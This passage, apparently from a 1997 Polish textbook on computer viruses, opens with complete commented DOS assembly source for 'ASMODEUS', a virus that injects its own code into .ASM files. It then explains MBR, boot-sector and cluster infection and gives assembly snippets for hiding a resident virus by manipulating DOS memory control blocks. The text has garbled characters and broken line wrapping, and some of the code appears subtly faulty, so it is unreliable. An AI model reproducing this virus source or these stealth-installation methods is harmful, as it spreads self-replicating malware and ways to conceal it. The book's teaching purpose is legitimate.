ASMODEUS SEGMENT
JUMPS
ASSUME CS:ASMODEUS, DS:ASMODEUS

ORG 100h

NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden +
AtrVolumeID
; atrybut poszukiwanej
pozycji
; katalogu

VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
ASMNaglowek_Rozmiar = offset (ASMNaglowek_Koniec-
ASMNaglowek_Start)
; dlugosc dyrekty z
poczatku
; pliku ASM (ASSUME,
ORG, itd.)
ASMKoncowka_Rozmiar = offset (ASMKoncowka_Koniec-
ASMKoncowka_Start)
; dlugosc dyrekty z
konca
; pliku ASM (ENDS,
END)

VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz
zainfekowane
VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc ; struktura DTA bufora

transmisji
; dyskowych uzywanych
przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej
pozycji
DTATime dw ? ; czas znalezionej
pozycji
DTADate dw ? ; data znalezionej
pozycji
DTASize dd ? ; dlugosc znalezionej
pozycji
DTAName db 13 (?) ; nazwa znalezionej
pozycji
DTAStruc ends

NoweDTA equ 80h

VirusStart: ; tu zaczyna sie kod
wirusa

lea dx,TeInformacja ; podaj, gdzie jest
tekst
Call Informacja ; spytaj o
uruchomienie wirusa

jnc Infekcja ; CF=1 oznacza nie
uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj

Infekcja:

lea dx,MaskaASM ; maska poszukiwanych
plikow '*.ASM'
mov cx,Atrybut ; podaj atrybut
poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj
pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad

KolejnyPlik:
cmp ds:[NoweDTA.DTADate],VZnacznik ; czy znaleziony plik
jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj
nastepnego

mov cx,AtrArchive ; podaj nowy atrybut :
Archive
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do

zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad

lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do
odczytu
mov ax,3d02h ; funkcja DOS - otworz
plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt
pliku do BX

mov cx,ASMNaglowek_Rozmiar ; ile zapisac
lea dx,ASMNaglowek_Start ; skad pobrac dane
mov ah,40h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

cld ; operacje na
lancuchach do przodu

push bx ; zachowaj uchwyt
pliku

lea di,Bufor ; gdzie zapisywac
wynik
lea bx,Hex ; gdzie znajduje sie
tablica
; translacji na znaki
heksalne
lea si,VirusStart ; gdzie zaczyna sie
kod
mov cx,VirusDlug ; ilosc bajtow do
konwersji

RobHex:
mov ax,'BD' ; \
stosw ; \ zapisz sekwencje
mov ax,'0 ' ; / 'db 0'
stosw ; /

lodsb ; pobierz bajt kodu
mov ah,al ; zapamietaj na
pozniej

shr al,4 ; pobierz 4 gorne bity
bajtu kodu

xlatb ; wez odpowiadajcy mu
znak
stosb ; heksalny i zapisz go

mov al,ah ; wez zapamietany bajt
kodu
and al,15 ; pobierz 4 dolne bity
bajtu kodu
xlatb ; wez odpowiadajcy mu
znak
stosb ; heksalny i zapisz go
; teraz bufor= 'db
0??'
mov al,'h' ; zapisz 'h' w buforze
stosb
; teraz bufor='db
0??h'
mov ax,0A0Dh ; zapisz znaki CR,LF
stosw
; teraz bufor='db
0??h',CR,LF
loop RobHex ; przetwarzaj caly kod
programu

pop bx ; przwyroc uchwyt
pliku

sub di,offset Bufor ; oblicz, ile bajtow
zajmuje bufor
mov cx,di ; ile bajtow zapisac
lea dx,Bufor ; podaj, skad zapisac
wirusa
; jako ciag DB ?,?,
... ?,?,?
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,ASMKoncowka_Rozmiar ; ile zapisac
lea dx,ASMKoncowka_Start ; skad pobrac dane
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,ds:[NoweDTA.DTATime] ; przywroc czas z
bufora DTA
mov dx,VZnacznik ; zaznacz infekcje
pliku
mov ax,5701h ; funkcja DOS - wpisz
date, czas
int 21h ; wywolaj funkcje DOS

ZamknijPlik:
mov ah,3Eh ; funkcja DOS -
zamknij plik
int 21h ; wywolaj funkcje DOS

SzukajNastepnyPlik: ; poprzedni plik byl
zarazony
mov ah,4Fh ; funkcja DOS - szukaj
innego
; plik ASM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad

PrzywrocAtrybut:
mov cl,ds:[NoweDTA.DTAAttr] ; podaj stary atrybut,
CH=0
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h

BezInfekcji:
ret ; koncz program, skocz
do PSP:100h
; do rozkazu Int 20h

MaskaASM db '*.ASM' ; maska plikow ASM
(ASCIIZ)

ASMNaglowek_Start:
db 'V SEGMENT',CR,LF
db 'ORG 100h',CR,LF
db 'Start:',CR,LF
ASMNaglowek_Koniec:
ASMKoncowka_Start:
db 'V ENDS',CR,LF
db 'END Start',CR,LF
ASMKoncowka_Koniec:
Hex db '0123456789ABCDEF'

; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS -
wyswietl tekst$
int 21h ; wywolaj funkcje DOS

mov ah,01h ; funkcja DOS - czytaj
znak
; ze standardowego
wejscia
int 21h ; wywolaj funkcje DOS

; AL zawiera znak
push ax ; zapamietaj na chwile
znak

mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii

pop ax ; przywroc znak

and al,11011111b ; konwertuj znak na
wielka litere
cmp al,'T' ; czy potwierdzona
infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i
powrot
CLCRet:
ret ; powrot

TeInformacja db CR,LF,'ASMODEUS v1.0, Autor : Adam Blaszczyk
1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR

VirusEnd:
Bufor db 32768 dup (?)

ASMODEUS ENDS
END VirusStart

4.2. Sektory systemowe
Po uruchomieniu komputera oraz po pozytywnym przejściu sprzętowej inicjalizacji
wszystkich układów, procesor przystępuje do uruchamiania systemu, oddając najpierw
sterowanie do BIOS-a, który po przeprowadzeniu różnych testów przekazuje kontrolę
dalej, tzn. do systemu operacyjnego. Aby to zrobić, musi wczytać go z pliku
zawierającego jądro systemu. Ze względu na to, iż narzucona przez systemy operacyjne
struktura plików (różna dla różnych systemów) jest dostępna dopiero po załadowaniu
odpowiedzialnego za dostęp do niej jądra systemu (także różnego dla różnych
systemów), powstaje błędne koło: aby załadować plik z jądrem systemu, ono samo musi
już być załadowane. Jasne jest, iż musi istnieć jakaś uniwersalna metoda na
załadowanie dowolnego systemu (a więc i jądra systemu). Problem ten rozwiązano
poprzez nadanie specjalnego znaczenia pierwszym sektorom dysków fizycznych i
logicznych. Sektory te zawierają krótkie programy, odpowiedzialne za załadowanie
właściwej części jądra systemu. W przypadku dysku fizycznego mamy do czynienia z
tzw. Głównym Rekordem Ładującym, a w przypadku logicznych - z tzw. BOOT-
sektorem. Dokładniejszy ich opis znajduje się dalej.

4.2.1. Główny Rekord Ładujący (ang. Master Boot Record-MBR)
Każdy dysk twardy zawiera w swym pierwszym fizycznym (tzn. z punktu widzenia
dostępu przez BIOS) sektorze tzw. Główny Rekord Ładujący (często nazywany
sektorem tablicy partycji), zawierający informacje o podziale jego fizycznej struktury na
logiczne party-cje (strefy). Oprócz powyższych informacji rekord ten zawiera także krótki
programik, mający na celu odnalezienie w tablicy partycji aktywnej strefy i załadowanie z
niej systemu operacyjnego. Format głównego rekordu ładującego, opis zawartości
tablicy partycji oraz rodzaje stref zawarte są w poniższych tablicach.
Format głównego rekordu ładującego (MBR)
Adres

Zawartość

000

Program wczytujący system z aktywnej partycji dysku twardego

1BE

Opis strefy nr 1

1CE

Opis strefy nr 2

1DE

Opis strefy nr 3

1EE

Opis strefy nr 4

1FE

Bajty 055h i 0AAh

Opis jednej strefy w tablicy partycji
Adres

Zawartość

Znacznik aktywności strefy: 00h - strefa nie zawiera systemu operacyjnego
80h - strefa zawiera system operacyjny

Numer głowicy, pod którą zaczyna się strefa

02-03

Numer cylindra i sektora, pod którymi zaczyna się strefa, zapisane
następująco (litery odpowiadają kolejnym bitom):
bajt spod adresu 02h: CCssssss bajt spod adresu 03h: cccccccc ssssss =
numer sektora (0-63) CCcccccccc = numer cylindra (0-1023)

Rodzaj strefy (wg następnej tablicy)

Numer głowicy, pod którą kończy się strefa

06-07

Numer cylindra i sektora, pod którymi kończy się strefa, zapisane tak samo
jak w polu 02h-03h

08-0B

Względny numer sektora rozpoczynającego strefę

0C-0F

Długość strefy w sektorach

Rodzaje stref wg bajtu z pola 04h w opisie strefy
Bajt Rodzaj strefy
00h pusta
01h DOS 12-bit FAT
02h XENIX
03h XENIX /usr
04h DOSl6-bitFAT(do32M)
05h DOS 3.3+ rozszerzona partycja
06h DOS 3.31 + Large File System (16-bit FAT)
07h QNX
07h OS/2 HPFS
07h Windows NT NTFS
07h Advanced Unix
08h OS/2 (tylko v1.0-1.3)

08h AIX
08h Commodore DOS
08h DELL
09h AIX
09h Coherent
0Ah OS/2 Boot Manager
0Ah OPUS
0Ah Coherent
0Bh Windows 95 - 32-bit FAT
0Ch Windows 95 - 32-bit FAT (LBA)
0Eh zarezerwowane przez Microsoft dla VFAT
0Fh zarezerwowane przez Microsoft dla VFAT
10h OPUS
11h OS/2 Boot Manager 12-bit FAT
12h partycja Compaq Diagnostics
14h tworzy ją Noyell DOS 7.0 FDISK
14h OS/2 Boot Manager
16h OS/2 Boot Manager
17h OS/2 Boot Manager HPFS
18h AST Windows plik wymiany
21h zarezerwowana
23h zarezerwowana
24h NEC MS-DOS 3.x
26h zarezerwowana
31h zarezerwowana
33h zarezerwowana
34h zarezerwowana
36h zarezerwowana
3Ch PowerQuest
40h VENIX 80286
41h Persona! RISC Boot
42h SFS (Secure File System)
50h OnTrack Disk Manager
51h OnTrack Disk Manager
51h NOYELL
52h CP/M
52h Microport System V/386
53h OnTrack Disk Manager
54h OnTrack Disk Manager (DDO)
56h GoldenBow VFeature
61h SpeedStor
63h Unix SysV/386
63h Mach
64h Novell NelWare 286
65h NovetlNetWare(3.11)
67h Novell
68h Novell

69h Novell _
70h DiskSecure Multi-Boot
71h zarezerwowana
73h zarezerwowana
74h zarezerwowana
75h PC/lX
76h zarezerwowana
80h Minixv1,1 - 1.4a
81h Minixv1.4b+
81h Linux
81h Mitac Advanced Disk Manager
82h Linux Swap
82h Prime
83h Linux native file system
84h OS/2
86h zarezerwowana
87h HPFS Fault-Tolerant
93h Amoeba file system
94h Amoeba bad błock table
A1h zarezerwowana
A3h zarezerwowana
A4h zarezerwowana
A5h FreeBSD
A6h zarezerwowana
B1h zarezerwowana
B3h zarezerwowana
B4h zarezerwowana
B6h zarezerwowana
B7h BSDI file system
B8h BSDI plik wymiany
C1h DR DOS 6.0 LOGIN.EXE 12-bit FAT
C4h DR DOS 6.0 LOGIN.EXE 16-bit FAT
C6h DR DOS 6.0 LOGlN.EXE Huge
C7h Syrinx Boot
D8h CP/M-86
DBh CP/M
DBh CTOS (ConvergentTechnologies OS)
E1h SpeedStor 12-bit FAT rozszerzona partycja
E3h DOS tylko do czytania
E3h Storage Dimensions
E4h SpeedStor 16-bit FAT rozszerzona partycja
E5h zarezerwowana
E6h zarezerwowana
F1h Storage Dimensions
F2h DOS 3.3+
F3h zarezerwowana
F4h SpeedStor

F4h Storage Dimensions
F6h zarezerwowana
FEh LANstep
FEh IBM PS/2 IML
FFh Xenix

Po wykonaniu wszystkich autotestów BIOS wczytuje MBR zawsze pod ten sam, stały
adres 0000:7C00 i wykonuje do tego miejsca daleki skok, przekazując tym samym
sterowanie do programu ładującego, który odszukuje strefę aktywną w tablicy partycji.
Znalezienie strefy aktywnej polega na przeszukaniu tablicy partycji i sprawdzeniu, czy w
polu 00h opisu badanej strefy znajduje się wartość 80h, co jest znakiem, iż jest to strefa
aktywna i można z niej załadować system operacyjny.
Działanie wirusów zarażających MBR polega na podmianie oryginalnego programu w
niej zawartego na kod wirusa. Oryginalna tablica partycji może być przechowywana w
innym sektorze na dysku. Najprościej Jest wczytać oryginalny sektor przy pomocy
funkcji (02/13), dokonać zmian w jego strukturze i zapisać zmodyfikowany sektor z
powrotem na dysk przy użyciu funkcji (03/13).
Po zarażeniu MBR wirus jest nieaktywny do czasu zresetowania komputera. Po
restarcie zainfekowana partycja jest wczytywana przez BIOS pod adres 0000:7C00 i
sterowanie jest oddawane do wirusa, który zmniejsza pamięć dostępną dla DOS-a
(poprzez modyfikację zmiennej BIOS, zawartej pod adresem 0000:413), a następnie
kopiuje się na koniec pamięci, która jest już niedostępna dla DOS-a. Stamtąd przejmuje
obsługę przerwań i po wczytaniu oryginalnego sektora tablicy partycji (także pod adres
0000:7COO) oddaje do niej sterowanie, a tam oryginalny program ładujący kontynuuje
normalne wczytywanie systemu.

4.3. Rekord ładujący (ang. BOOT-sector)
Program ładujący, zawarty w MBR, wczytuje system ze strefy aktywnej, dokładniej:
wczytuje pierwszy sektor (tzw. BOOT-sektor) ze strefy aktywnej pod adres 0000:7COO
(a więc pod ten sam co w przypadku MBR), oddaje do niego sterowanie i dopiero
program zawarty w BOOT-sektorze ładuje plik zawierający jądro systemu (w przypadku
systemu DOS - najczęściej IO.SYS).
Powyższa operacja jest wykonywana tylko dla dysku twardego. W przypadku dyskietek
BIOS bezpośrednio ładuje BOOT-sektor z dyskietki i oddaje do niego sterowanie. Jak
widać, BIOS nie rozróżnia, czy wczytywany sektor jest MBR czy BOOT-sektorem, a
jedynie odczytuje pierwszy sektor z dysku lub dyskietki i oddaje do niego sterowanie.
Przy pierwszym dostępie do dysku system kopiuje do swych struktur wewnętrznych
część informacji zawartych w BOOT-sektorze. Informacje te są zawarte w tzw. bloku
BPB, zawartym w BOOT-sektorze od adresu 0Bh do 23h.
Zawartość BOOT-sektora przedstawiono w poniższej tabeli.
Zawartość BOOT-sektora
Adres

Zawartość

00-02

Instrukcja skoku do programu ładującego system, najczęściej
(OEBh ?? 90h). czyli JMP SHORT

03-0A

Nazwa wersji systemu (jako łańcuch ASCII)

Początek bloku BPB

0B-0C

Wielkość sektora w bajtach

0E-0F

Liczba sektorów zarezerwowanych na początku dysku

Liczba kopii FAT

11-12

Maksymalna liczba plików w katalogu głównym

13-14

Całkowita liczba sektorów na dysku logicznym (nie używane)

Bajt identyfikacji nośnika

16-17

Liczba sektorów zajętych przez FAT

18-19

Liczba sektorów na ścieżce

1A-1B

Liczba głowic dysku

1C-1D
Koniec bloku BPB
24

Numer fizyczny dysku

Zarezerwowane

Rozszerzony znacznik BOOT-sektora

27-2A

Numer woluminu

2B-35

Etykieta dysku

36-3D

Typ FAT zapisany jako łańcuch ASCII

??-1FF

Program wczytujący system

Nietrudno domyślić się, iż infekcja BOOT-sektora polegać będzie na zamianie
oryginalnego programu w nim zawartego na kod wirusa, tak jak miało to miejsce w
przypadku sektora tablicy partycji. Zamiast przerwania 13h przy infekcji BOOT-sektora
łatwiej użyć przerwań 25h i 26h, gdyż biorą one na siebie ciężar wszystkich obliczeń
związanych z translacją sektorów logicznych na fizyczne.

4.4. Jednostki Alokacji Plików (JAP) (ang. clusters)
Pierwszym wirusem, który zarażał JAP, był wirus DIR-2. Ze względu na pewne
ograniczenia zarażał tylko w wersjach DOS mniejszych od 5.0. Aby zrozumieć zasadę
jego działania, trzeba przede wszystkim wiedzieć, w jaki sposób system DOS zapisuje
pliki na dysku. Każdy dysk logiczny widoczny w systemie posiada tzw. tablicę FAT (ang.
File Alocation Tobie), która dzieli dysk na równe części, zwane Jednostkami Alokacji
Plików JAP). Wielkość JAP jest różna dla różnych pojemności dysków. Informacja o
ilości sektorów zajmowanych przez jedną JAP zawarta jest w BOOT-sektorze, w polu
0Dh. Każdy plik zapisywany na dysku ma do dyspozycji odpowiednią, wynikającą z jego
długości, liczbę jednostek alokacji. Liczba ta równa jest długości pliku podzielonej przez
rozmiar jednej JAP. Obliczoną liczbę należy zaokrąglić w górę (aby uwzględnić
końcówkę pliku, która nie mieści się w pełnej JAP). Jak widać, pliki zapisane na dysku
wcale nie muszą być zapisane sekwencyjnie, tzn. różne fragmenty pliku mogą być
porozrzucane po całym dysku. Także widziana przez użytkownika długość pliku tylko
czasami zgadza się z prawdziwą długością zajmowaną przez plik na dysku (gdy długość
pliku jest wielokrotnością długości JAP). Wczytując plik DOS odczytuje z odpowiedniego
pola katalogu numer pierwszej JAP i na jej podstawie, w miarę kolejnych
odczytów/zapisów do pliku, porusza się po łańcuchu JAP, korzystając z danych
zawartych w tablicy FAT.
Wirus infekujący przy użyciu JAP zmienia w polu katalogu rozmiar danego pliku
(najczęściej na rozmiar jednej JAP) oraz wartość pierwszej JAP pliku, która wskazując
na wirusa umożliwia jego wczytanie niejako przed kod programu ładowanego z dysku i
w efekcie przejęcie kontroli nad systemem. Zainstalowany w pamięci wirus ma

następnie możliwość wczytania dalszej części programu na podsta
wie przechowywanej oryginalnej wartości pierwszej JAP oraz długości pliku. W celu
zapewnienia poprawnego wczytania reszty pliku wirus musi dotrzeć do wewnętrznych
procedur systemu operacyjnego, przeznaczonych do obsługi dysków. Najczęściej
realizuje się to poprzez odpowiednią zamianę adresu procedury obsługującej dysk,
zawartej w tzw. blokach DPB (ang. Drive Parameter Block), strukturach tworzonych
przez system operacyjny podczas jego inicjacji dla wszystkich istniejących w systemie
dysków logicznych. Struktura DPB zawiera wszystkie informacje potrzebne do obsługi
dysku logicznego przez system (część danych znajduje się w bloku BPB dysku,
zawartego w BOOT-sektorze).
Pełny opis bloku DPB zawarto w poniższej tabeli.
Format bloku DPB
Adres

Zawartość

Numer dysku A:=0, B:=1, C:=2

Numer jednostki w programie obsługi

02-03

Wielkość sektora w bajtach

log2 (liczba sektorów w JAP)

Liczba zarezerwowanych sektorów na początku dysku

Ilość kopii tablicy FAT (najczęściej 2)

09-0A

Maksymalna ilość plików w katalogu głównym

0B-0C

Pierwszy sektor danych

0F-10

Liczba sektorów na FAT

11-12

Numer pierwszego sektora katalogu

13-16

Daleki wskaźnik do programu obsługi dysku

Bajt identyfikacji nośnika

Znacznik dostępu do dysku

19-1C

Daleki wskaźnik do następnego bloku DPB

1D-1E

Numer pierwszej wolnej JAP na dysku

1F-20

Liczba wolnych JAP na dysku

Adres pierwszego bloku DPB uzyskiwany jest najczęściej przy użyciu funkcji (52/21). Na
podstawie danych w pierwszym DPB można przejść (poruszając się po liście) do
kolejnych bloków DPB. Realizuje to poniższa sekwencja:
Przeszukiwanie łańcucha DPB
mov AH,52h ; funkcja DOS - pobierz adres do listy
list (LL)
INT 21h ; wywo│aj DOS po wywo│aniu ES:BX zawiera
adres do LL, w
; komˇrkach od ES:[BX] do ES:[BX+3]
znajduje
; siŕ daleki wskačnik do pierwszego DPB
LES BX,ES:[BX] ; ES:BX wskazuje na pierwszy DPB
NastŕpnyDPB: ; pocz╣tek pŕtli
LDS SI, ES:[BX+13h] ; DS:SI wskazuje teraz na program obs│ugi
LES BX,ES:[BX+19h] ; ES:BX wskazuje teraz na nastŕpny
bloku DPB, je┐eli jest
; to ostatni blok, to ES i BX zawieraj╣
OFFFFh,
MOV AX,ES

; weč segment

CMP AX,0FFFFh ; czy ES=OFFFFh ?
JNZ NastŕpnyDPB ; jeťli nie, to jest jeszcze kolejny DPB
CMP BX,AX ; czy BX=OFFFFh?
JNZ NastŕpnyDPB ; jeťli nie, to jest jeszcze kolejny DPB

4.5. Wirusy kombinowane (ang: multipartition)
Tego typu wirusy są wirusami zawierającymi mechanizmy infekcji różnych obiektów.
W przypadku, gdy wirus zaraża pliki uruchamialne (EXE, COM), a także sektor tablicy
partycji oraz ewentualnie BOOT-sektory i inne pliki, nazywa się go wirusem typu
multipartition. Ze względu na szeroką gamę zarażanych przez siebie ofiar, wirusy tego
typu bardzo szybko rozprzestrzeniają się w systemie komputerowym.
Pamięć przydzielana programom przez system DOS jest zwalniana zaraz po ich
zakończeniu, stąd też wirus rezydentny, chcąc przejmować przerwania, musi
wygospodarować sobie jakiś fragment w pamięci, do którego może się skopiować, aby
nie zostać zamazanym przez kod innego programu, wczytywanego do zwolnionych
przez system obszarów pamięci.
Do instalacji można wykorzystać dowolny fragment pamięci, który na pewno nie
zostanie wykorzystany i zamazany przez żaden inny program (co skończyłoby się
prędzej czy później zawieszeniem komputera, gdyż zostałaby zamazana procedura
obsługi przejętego przerwania).

ROZDZIAŁ 5

5.1. Instalacja w tablicy wektorów przerwań
W komputerze IBM na użytek przerwań przeznaczono 256*4=1024 bajtów znajdujących
się na początku pamięci operacyjnej od adresu 0000:0000 do adresu 0000:0400 (tak
sprawa ma się oczywiście w trybie rzeczywistym i V86 procesorów 80x86). Mimo to
większość programów wykorzystuje tylko przerwania poniżej numeru 80h, tak więc w
obszarze 0000:0200-0000:0400 pojawia się 512-bajtowa luka, w której można umieścić
kod wirusa. Najczęściej obszar ten jest wykorzystywany przez wirusy bardzo krótkie,
potrzebujące do swych celów małego obszaru pamięci operacyjnej,

5.2. Instalacja w obszarze zmiennych DOS
W obszarze pamięci od adresu 0000:0600 do adresu 0000:0700 znajduje się obszar
wykorzystywany przy starcie systemu. Po załadowaniu obszar ten zawiera nieistotne
dane systemu (w zasadzie nie używane), dzięki czemu jest to kolejna luka w pamięci
systemu, w której można umieścić krótkiego (maksymalnie 256-bajtowego) wirusa.

5.3. Instalacja w pamięci poniżej 640kB i UMB
Zarządzając pamięcią operacyjną system DOS dzieli ją na połączone w łańcuch bloki, z
których każdy rozpoczyna się tzw. nagłówkiem MCB (ang. Memory Control Błock).
Każdy nagłówek zajmuje 16 bajtów i jest ulokowany zawsze na granicy paragrafu (16
bajtów), a zarządzany przezeń blok pamięci zaczyna się bezpośrednio po nim, także od
granicy paragrafu.
Powyższy mechanizm stosowany jest zarówno dla pamięci niskiej (poniżej 640kB -
LMB; ang. Low Memory Blocks), jak i dla pamięci wysokiej (powyżej 640kB - UMB; ang.
Upper Memory Blocks). Format bloku MCB pokazano w poniższej tabeli.

Format MCB
Adres

Zawartość

Znacznik bloku; znak 'M' oznacza, iż jest to blok pośredni, zaś Z oznacza
ostatni blok w łańcuchu

01-02

Adres (tylko segment; przesunięcie równe jest zeru) bloku PSP, będącego
właścicielem MCB. Jeżeli w pole to wpiszemy wartość 0008, a więc segment
niedostępny dla programów, segment zniknie z pamięci operacyjnej i będzie
niewidoczny dla programów przeglądających pamięć (dokładniej: będzie
widoczny, ale będzie traktowany jako integralna część systemu)

03-04

Rozmiar bloku w 16-bajtowych paragrafach

05-07

Zarezerwowane dla systemu

08-0F

8-bajtowe pole, wykorzystywane dopiero w wersjach 5.0 DOS i wyższych.
Zawiera ono początek nazwy pliku właściciela bloku MCB. Jeżeli wpiszemy w
to pole 'SC' lub 'SD', to blok ten zostanie uznany za blok systemowy ('SC' to
skrót od System Code. a SD od System Data)

Najstarsza i najbardziej rozpowszechniona metoda instalacji w pamięci operacyjnej
polega na modyfikacji łańcucha bloków MCB. Najprościej jest znaleźć ostatni z bloków
MCB i zmniejszyć jego rozmiar o długość potrzebną wirusowi. Adres pierwszego bloku
MCB można znaleźć za pomocą funkcji (52/21). Po jej wywołaniu w rejestrach ES:BX
znajdzie się adres tzw. listy list (LL). W komórce pod adresem ES:[BX-2] znajduje się
informacja o adresie pierwszego nagłówka MCB. Po zdobyciu tego adresu należy,
poruszając się po łańcuchu, znaleźć ostami z MCB i dokonać w nim zmian. Całość
realizuje się za pomocą następującej sekwencji:
; Poszukiwanie ostatniego bloku w │a˝cuchu mcb
MOV AH,52H ; funkcja DOS - weč adres do listy
; list (ll)
INT 21H ; wywo│aj funkcjŕ
MOV AX,ES:[BX-2] ; AX=adres segmentowy pierwszego MCB
NAST╩PNY:
MOV DS,AX ; ds wskazuje na sprawdzany blok MCB
CMP BYTE PTR DS:[0], Z ; czy ostatni blok ?
JE OSTATNI ; skocz, jeťli tak
INC AX ; dodaj rozmiar MCB (16 bajtˇw=1
paragraf)
ADD AX, DS:[3] ; dodaj d│ugoťŠ bloku zarz╣dzanego przez
MCB
JMP SHORT NASTEPNY ; sprawdč nastŕpny blok
OSTATNI: ; ds wskazuje na ostatni blok
SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach
16 bajtowych)
SUB DS:[12h], ROZMIAR ; warto tak┐e zmieniŠ adres pamiŕci
niedostŕpnej dla
;programu w PSP bie┐╣cego procesu

Do instalacji można wykorzystać także blok pamięci, który powstaje poprzez
zmniejszenie bloku pamięci przydzielonego programowi. Dokonuje tego następująca
sekwencja:
; Zmniejszenie bloku przydzielonego aktualnemu procesowi
MOV AH,62h ; funkcja DOS - weč adres PSP

aktualnego procesu
INT 21h ; uruchom funkcjŕ DOS, BX zawiera
adres PSP
DEC BX ; BX-1 zawiera adres MCB, bŕd╣cego
w│aťcicielem bloku MOV DS,BX ; DS wskazuje na
MCB
SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w
paragrafach 16 bajtowych) SUB DS:[12h], ROZMIAR ; warto
tak┐e zmieniŠ adres pamiŕci niedostŕpnej dla
; programu w PSP bie┐╣cego procesu

Inny sposób polega na przydzieleniu sobie przez wirusa bloku pamięci przy użyciu
(48/21) i modyfikacji MCB, będącego właścicielem przydzielonego bloku. Modyfikacja
polega na wpisaniu w pole 01h-02h bloku MCB wartości 0008h, która oznacza, iż blok
ten należy do systemu operacyjnego DOS. Zamiast wartości 0008h można wpisać
dowolną wartość, która wskazuje na segment zawierający na pewno dane systemowe,
na przykład liczbę z zakresu 0A000h-0B000h, wskazującą na segmenty zawierające
pamięć ekranu. Dodatkowo w pole 08h-0Fh można wpisać łańcuch 'SC lub 'SD'
[odpowiadające skrótom: kod systemu (ang. System Code) i dane systemu (ang.
System Data)]. Tak zmodyfikowany blok MCB nie będzie widziany przez programy
przeglądające pamięć (np. MEM.EXE). Powyższą metodę ilustruje następująca
sekwencja:
; Tworzenie sztucznego bloku systemowego
MOV BX,ROZMIAR ; BX = rozmiar ┐╣danej pamiŕci
MOV AH,48h ; funkcja DOS - przydziel pamiŕŠ
INT 21h ; wywo│aj funkcjŕ DOS
JC BLAD ; Jeťli CF=1 to b│╣d, AX=segment pamiŕci
DEC AX ; AX-1=segment z nag│ˇwkiem MCB
(w│aťcicielem
; bloku amiŕci)
MOV DS,AX ; DS = segment MCB
MOV DS:[l],0008h ; zmie˝ MCB na systemowy

Kolejny sposób instalacji w pamięci polega na wykorzystaniu faktu, iż DOS oferuje
programom możliwość zmieniania rozmiaru bloku pamięci przy użyciu (4A/21). Dzięki
temu można powiększyć pewien blok wykorzystywany przez system lub programy
rezydentne i w tak wygospodarowane miejsce skopiować wirusa. Nie trzeba w tym
wypadku dokonywać żadnych ręcznych manipulacji na blokach MCB, gdyż wszystkie
operacje wykona za nas system operacyjny. Należy pamiętać, iż aby DOS mógł
powiększyć blok pamięci, blok ten musi sąsiadować z jakimś nie wykorzystanym przez
żaden program fragmentem pamięci. Znaleziony blok najlepiej zabezpieczyć przed
ewentualnym zwolnieniem, np. przez wpisanie w pole 03-04h wartości 0008h.
Sekwencja realizująca to zadanie wygląda następująco:
; Powiŕkszenie jednego z blokˇw ju┐ u┐ytych
MOV AH,52H ; funkcja DOS - weč adres do listy list
(LL)
INT 21H ; wywo│aj funkcjŕ DOS
MOV DX,ES:[BX-2] ; AX==adres segmentowy pierwszego MCB
NAST╩PNY:
mov es,dx ; DS wskazuje na sprawdzany blok mcb
mov cl, byte PTR ES:[O] ; zachowaj znacznik nag│ˇwka MCB

MOV BX,ES:[3] ; pobierz rozmiar bloku
INC DX ; DOS wymaga adresu o l wiŕkszego od MCB
MOV ES,DX ; ES wskazuje na blok pamiŕci
ADD DX,BX ; dodaj d│ugoťŠ bloku zarz╣dzanego przez
MCB
ADD bx, rozmiar ; dodaj rozmiar wirusa (w paragrafach
16-bajtowych)
MOV AH,4Ah ; sprˇbuj zmieniŠ rozmiar bloku
INT 21h ; wywo│aj funkcjŕ DOS
JNC JESTBLOK ; jeťli CFl, uda│o siŕ zmieniŠ blok
CMP CL, Z ; czy ostatni blok ?
JNE NASTEPNY ; sprawdč nastŕpny blok
OSTATNI: ; nie uda│o siŕ powiŕkszyŠ ┐adnego bloku
...... ; czŕťŠ kodu wirusa, wykonuj╣ca

; siŕ, gdy nie znaleziono bloku

JESTBLOK:
...... ; uda│o siŕ powiŕkszyŠ blok, adres do
niego jest w ES

Sposób obsługiwania pamięci przez DOS jest określany przez tzw. strategię przydziału
pamięci, która standardowo nie używa bloków UMB, stąd powyższe sposoby zadziałają
bez zarzutu dla pamięci poniżej 640kB. Aby zainstalować wirusa w pamięci UMB, trzeba
wymusić jej używanie na równi z pamięcią niską. W tym celu należy przyłączyć łańcuch
bloków MCB pamięci UMB do łańcucha bloków MCB, znajdujących się w pamięci
